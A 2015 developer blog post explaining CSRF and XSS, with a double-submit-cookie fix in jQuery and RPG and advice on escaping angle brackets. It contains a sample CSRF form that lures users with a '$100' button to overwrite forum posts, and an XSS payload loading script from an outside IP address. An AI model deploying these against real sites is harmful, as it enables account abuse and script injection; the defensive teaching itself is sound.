bvstone

Web Application Security: Preventing CSRF (Cross Site Request Forgery) and XSS (Cross Site Scripting) Attacks

Posted:

Web Application Security: Preventing CSRF (Cross Site Request Forgery) and XSS (Cross Site Scripting) Attacks

No matter how long we work as web application developers it is good to keep up on the latest and greatest attempts by others to maliciously ruin your hard work.

Two of the biggest security topics that are often overlooked are Cross Site Request Forgery (CSRF) and Cross Site Scripting (XSS) Attacks.  

I have to admit while these were just buzzwords to me, I decided to look deeper into them to see if any my of my applications (for example, this site) were vulnerable to these types of attacks.  They were.  

Let's take a quick look at each to understand how they work and understand the available solutions for each.

Cross Site Request Forgery (CSRF)

This type of security breach, in it's worst case scenario, has the potential to do quite a bit of damage.  I say "in it's worst case scenario" because the chances of getting everything just right are probably few and far between, but because the possibility exists, it's still important to add CSRF checks to your programs.

This example is one that really opened my eyes.  It made total sense as to how it could possibly work.  But, it also made me realize that all the variables would have to be aligned perfectly for it to work.  Because there is even a chance, I found it's something that should be looked further into.

CSRF takes advantage of the fact that when a request to a URL is made, most browsers will include cookie data in the request, even if the request originates from another domain.

As an example, I put together this simple test and saved it as a text file on my PC:

<html>
<head></head>
<body>
Want $100 for free?
<form id="updateForm" action="http://www.fieldexit.com/forum/posttopic" method="POST">
<input name="groupid" type="hidden" value="test">
<input name="forumid" type="hidden" value="test">
<input name="threadid" type="hidden" value="219">
<input name="draftid" type="hidden" value="">
<input name="mode" type="hidden" value="edit">
<input name="script" type="hidden" value="postform">
<input name="subject" type="hidden" value="I overrode the subject">
<input name="postdata" type="hidden" value="this is a test spoof">
<input type="submit" value="Just click this button!">
</body>
</html>

If you then right click and "open with" your favorite browser, you'll see how this could potentially wreak havoc on your system.  In reality this type of code would be placed on someone else's web site.  They would probably have some way to try to lure you to their site... that's the first part of the equation.  Just getting you to see this web page.

All the user will see on this screen is a button to click that they think will give them $100 (no one is that stupid, right?).  

If the button IS clicked, the form that is submitted is one that will attempt to override and update a post on our site here at Field Exit.  

The hope is that if the user who clicks the button is signed onto the site the request is going to (in this example, www.fieldexit.com) that this will update the post.  This is why it's important that the malicious programmer lures you in some way to their site knowing you've been on Field Exit and hopefully signed on.

Now, we have security in place so if someone tries to update someone else's post that it won't work.  But, what if this was one of their posts?  Without checking for CSRF this post would go through and the post would be updated.  This is because the cookie value used for the user logon will be passed as well as the form field data which are easily retrieved from the the actual Field Exit posting web page itself.  (We did find that Google Chrome doesn't pass along this cookie information, though).

As a test, we used Firefox and clicked on this link (after being signed into this site).  Using the debugging tools we were able to see the entire request, and see that in fact the user ID cookie is passed with the request even though the request did NOT originate from www.fieldexit.com.

We see that the cookie named gbfuser, which is an encrypted value that links to the user id of the person signed on, is passed along in the request even though the request was not initiated from the Field Exit site.

Again, Google Chrome doesn't seem to do this, but IE and Firefox do.

So how do we prevent any malicious actions from occurring if everything works out just right (ie, the message ID and the user ID match)?  In our case, we chose a method named "Double Submit Cookies" which can be found in this list of CSRF solutions.   It's important to note that the Referrer header is easily spoofed and should not be used as a viable method to stop such attacks.

The idea behind the Double Submit Cookies solution is that a unique cookie value is created on each visit or on each action that is performed.  The value of this cookie is also placed in a hidden form field.  

This works because sites outside of your domain can't create session cookies for your specific domain.  Or, at least the shouldn't be able to.

We chose to use jQuery for our solution.  And, we found it actually was quite simple.

First we add a hidden field named CSRFToken to our form:

<form id="updateForm" action="/forum/posttopic" method="POST">
...
<input type="hidden" name="CSRFToken" value="true">
...
</form>

The next step is to write a cookie with a unique value for the user's visit to the site.  You can do this when a user first visits the site, or, in our case, we chose to do it whenever a form is submitted.  That's why the value of CSRFToken only contains the value "true".  This is so we can get the value of this field using JQuery and if it's "true" we know we want to create the token cookie and update the value of this form field before submission.

Our jQuery now looks like this:

	$("#updateForm").submit(function(event) {
		event.preventDefault();
		
		if ($("input[name='CSRFToken']").val() == 'true') {
			var token = randomString(256);
			$("input[name='CSRFToken']").val(token);
			setCookie('CSRFToken', token);
		}

...
		
	});

Then in our CGI program we add the following code:

D CSRFToken       S            256                           
D CSRFTokenCookie...                                         
D                 S            256                           

...

CSRFToken = #getData('CSRFToken');           
CSRFTokenCookie = #getCookie('CSRFToken');   

...

if (CSRFToken = ' ') or (CSRFTokenCookie = ' ') or                           
   (CSRFToken <> CSRFTokenCookie);                                           
  #writeTemplate('stdhtmlheader.erpg');                                      
  #loadTemplate('posttopic.erpg');                                           
  #loadSection('error');                                                     
  #replaceData('/%forumdesc%/':#gbf_getForumPath(inGroupID:inForumID));      
  #replaceData('/%error%/':                                                  
               'Invalid authentication.  Suspected CSRF attempt.');          
else;                                                                        

...                                                                         

Finally, no matter the outcome (ie, the post is successful or not) we delete the CSRF token Cookie:

...

<script>
	$.removeCookie('CSRFToken');
</script>

...

This should make sure that each time someone posts or updates a message, a new CSRF Token value is created that will be used in the cookie and the form.  Because the values of this cookie and the form field are tightly coupled this solution, we feel, works well.

You may be thinking, why can't the malicious little bugger just create a cookie with a value and also set the CSRFToken field value in their form spoof?  This is because clients are not able to set cookies outside of their domain.

Also, remember that the cookie is created at the beginning of the post, and deleted at the end of the post... no matter the outcome (ie, the message post is successful or not).

Now, if there is anything I may have overlooked here please feel free to let me know!

Cross Site Scripting (XSS) Attacks

XSS Attacks are something else that may be overlooked because we don't write applications expecting users to try to be malicious.  But, in a nutshell XSS attacks are performed, in the most basic sense, using JavaScript in a form field that will be displayed somewhere later.

Let's assume that the Subject title for this site wasn't monitored for anything (such as HTML or JavaScript).  A user could easily enter the following as the Subject:

<script src="http://101.12.1.45/scripts/blowupyourhouse.js">alert('Prepare to be bamboozled!');</script>

This means than we we displayed the subject it's very possible this would be interpreted as a request for external JavaScript to be loaded and functions to be run.  You may think there's not much harm one can do with JavaScript, but I wouldn't even want to offer up the opportunity to see how creative some can be.

The most simple way of combating this type attack is to make sure that any data that is written to your web page does simply conversions for the < and > characters to &lt; and &gt;.  This way the characters will be displayed, but not interpreted by the client as an actual script to be run.

Our Jobs Are Never Done

So, it appears that our jobs as web application programmers never ends.  Even when we think we've done everything a new vulnerability is found that we need to program for.  

Most of us that are writing applications on the IBM i aren't writing simple billboard or blog sites.  We're creating sites that mimic the old 5250 green screen applications.  And I know that being "too busy" is never an excuse.  But if we focus on the most obvious hacking issues we can implement security issues to circumvent them, or hopefully if our application is developed properly, adding it in later won't cause too much of a headache.

 


Last edited 10/25/2015 at 14:23:40



Latest Posts:

Create QRCODE in DDS Create QRCODE in DDS
Posted by September 21, 2018
Programming >> RPG Programming
Base64 Encoding a File with RPG Base64 Encoding a File with RPG
Posted by September 6, 2018
Programming >> RPG Programming
Building JSON with RPG and YAJL and Writing to Standard Output Building JSON with RPG and YAJL and Writing to Standard Output
Posted by August 31, 2018
Programming >> Proof of Concept (POC)
How to Delete Files or Empty Trash From Your Google Drive with your IBM i and RPG/ILE How to Delete Files or Empty Trash From Your Google Drive with your IBM i and RPG/ILE
Posted by July 24, 2018
BVSTools >> BVSTools Software Discussion >> GreenTools for G Suite (Google Apps) (G4G) Specific Discussion
GreenTools for G Suite (G4G) Updated to Include Delete and Empty Trash Function GreenTools for G Suite (G4G) Updated to Include Delete and Empty Trash Function
Posted by July 24, 2018
BVSTools >> BVSTools Announcements >> GreenTools for G Suite (Google Apps) (G4G) Specific Announcements
What to Do If Your License Keys Don't Work What to Do If Your License Keys Don't Work
Posted by July 18, 2018
BVSTools >> BVSTools Software Discussion
MAILTOOL Updated to Allow Failed Message on Invalid Recipient MAILTOOL Updated to Allow Failed Message on Invalid Recipient
Posted by May 20, 2018
BVSTools >> BVSTools Announcements >> eMail Tool (MAILTOOL) Specific Announcements
Non HTTPS Callbacks Removed from GreenTools for G Suite (G4G) Non HTTPS Callbacks Removed from GreenTools for G Suite (G4G)
Posted by April 15, 2018
BVSTools >> BVSTools Announcements >> GreenTools for G Suite (Google Apps) (G4G) Specific Announcements
IBM i Related Survey Available IBM i Related Survey Available
Posted by April 7, 2018
IBM Power Systems >> (QGPL) IBM i
BVSTools Releases Braintree Webhook Open Source Application - Node.js BVSTools Releases Braintree Webhook Open Source Application - Node.js
Posted by April 5, 2018
Programming >> Open Source
BVSTools Now Offering Web Services (BETA) BVSTools Now Offering Web Services (BETA)
Posted by April 3, 2018
BVSTools >> BVSTools Announcements
Creating a Reverse SSL Proxy Using RPG on the IBM i - Part 2 Creating a Reverse SSL Proxy Using RPG on the IBM i - Part 2
Posted by March 29, 2018
Programming >> Web Programming
Still on V7R1 or Earlier?  Here's Why You Should Upgrade NOW! Still on V7R1 or Earlier? Here's Why You Should Upgrade NOW!
Posted by February 21, 2018
IBM Power Systems >> (QGPL) IBM i
Converting a MMDDYY date format to YYMMDD for Sorting Using SQL Converting a MMDDYY date format to YYMMDD for Sorting Using SQL
Posted by February 16, 2018
Programming >> RPG Programming
Moving All Files from a Google Drive Folder to the Trash Using GreenTools for Google Apps (G4G) Moving All Files from a Google Drive Folder to the Trash Using GreenTools for Google Apps (G4G)
Posted by February 3, 2018
BVSTools >> BVSTools Software Discussion >> GreenTools for G Suite (Google Apps) (G4G) Specific Discussion

Reply




Copyright 1983-2018 BVSTools
GreenBoard(v3) Powered by the eRPG SDK, MAILTOOL Plus!, GreenTools for Google Apps, jQuery, jQuery UI, BlockUI, CKEditor and running on the IBM i (AKA AS/400, iSeries, System i).